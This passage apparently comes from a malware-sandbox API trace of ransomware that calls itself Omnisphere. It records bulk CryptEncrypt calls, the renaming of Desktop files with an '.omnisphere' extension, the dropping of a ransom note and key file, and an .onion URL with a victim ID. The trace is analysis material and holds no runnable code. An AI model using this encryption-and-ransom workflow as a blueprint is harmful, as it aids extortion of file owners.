Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.969] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.969] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.969] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.969] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.969] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.969] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.969] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.969] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.969] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.969] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.969] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.969] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.975] CryptDestroyKey (hKey=0x1639868) returned 1 [0162.975] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0162.975] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x487c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0162.975] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0162.975] GetProcessHeap () returned 0x1600000 [0162.975] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x266) returned 0x164c9b8 [0162.975] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\0YKCZvD.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\0ykczvd.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\0YKCZvD.wav.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\0ykczvd.wav.omnisphere")) returned 1 [0162.979] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\0YKCZvD.wav.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\0YKCZvD.wav.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\0YKCZvD.wav.omnisphere.id" [0162.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0YKCZvD.wav.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\0ykczvd.wav.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0162.981] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0162.982] CloseHandle (hObject=0x3bc) returned 1 [0162.983] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.983] CloseHandle (hObject=0x380) returned 1 [0162.983] SetEndOfFile (hFile=0x39c) returned 1 [0162.984] FlushFileBuffers (hFile=0x39c) returned 1 [0162.987] CloseHandle (hObject=0x39c) returned 1 [0162.987] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\0YKCZvD.wav" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0162.987] GetProcessHeap () returned 0x1600000 [0162.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164cc28 [0162.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.987] GetProcessHeap () returned 0x1600000 [0162.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17335b8 [0162.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17335b8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.988] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.988] GetProcessHeap () returned 0x1600000 [0162.988] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f200 [0162.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f200, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.988] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.988] GetProcessHeap () returned 0x1600000 [0162.988] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x165fbe8 [0162.988] PathCombineW (in: pszDest=0x165fbe8, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0162.988] GetProcessHeap () returned 0x1600000 [0162.988] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176fde0 [0162.988] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.988] WriteFile (in: hFile=0x39c, lpBuffer=0x176fde0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x176fde0*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0162.988] CloseHandle (hObject=0x39c) returned 1 [0162.989] GetProcessHeap () returned 0x1600000 [0162.989] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164cc28 | out: hHeap=0x1600000) returned 1 [0162.989] GetProcessHeap () returned 0x1600000 [0162.989] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a570 [0162.989] PathCombineW (in: pszDest=0x163a570, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0162.989] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.989] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0162.990] CloseHandle (hObject=0x39c) returned 1 [0162.990] GetProcessHeap () returned 0x1600000 [0162.990] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a570 | out: hHeap=0x1600000) returned 1 [0162.990] GetProcessHeap () returned 0x1600000 [0162.990] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163da78 | out: hHeap=0x1600000) returned 1 [0162.990] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcde3f90, ftCreationTime.dwHighDateTime=0x1d4c63f, ftLastAccessTime.dwLowDateTime=0xa734f020, ftLastAccessTime.dwHighDateTime=0x1d4cadb, ftLastWriteTime.dwLowDateTime=0xa734f020, ftLastWriteTime.dwHighDateTime=0x1d4cadb, nFileSizeHigh=0x0, nFileSizeLow=0x10cc, dwReserved0=0x0, dwReserved1=0xf5, cFileName="1_FD.mp4", cAlternateFileName="")) returned 1 [0162.991] GetProcessHeap () returned 0x1600000 [0162.991] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x50) returned 0x1634d28 [0162.991] PathCombineW (in: pszDest=0x1634d28, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="1_FD.mp4" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\1_FD.mp4") returned="C:\\Users\\FD1HVy\\Desktop\\1_FD.mp4" [0162.991] StrStrW (lpFirst=".omnisphere", lpSrch=".mp4") returned 0x0 [0162.991] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\1_FD.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\1_fd.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.991] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=4300) returned 1 [0162.991] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xba8, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0162.991] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.992] GetTickCount () returned 0x11687a6 [0162.993] GetTickCount () returned 0x11687a6 [0162.993] GetTickCount () returned 0x11687a6 [0162.993] GetTickCount () returned 0x11687a6 [0162.993] GetTickCount () returned 0x11687a6 [0162.993] GetTickCount () returned 0x11687a6 [0162.993] GetTickCount () returned 0x11687a6 [0162.993] GetTickCount () returned 0x11687a6 [0162.993] GetTickCount () returned 0x11687a6 [0162.993] GetTickCount () returned 0x11687a6 [0162.993] GetTickCount () returned 0x11687a6 [0162.993] GetTickCount () returned 0x11687a6 [0162.993] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668708) returned 1 [0162.994] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639ae8) returned 1 [0162.994] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0162.994] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0162.994] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0162.994] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10cc, lpName=0x0) returned 0x380 [0162.994] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10cc) returned 0x1480000 [0162.994] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668708) returned 1 [0162.995] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x16396e8) returned 1 [0162.995] CryptSetKeyParam (hKey=0x16396e8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0162.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0162.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 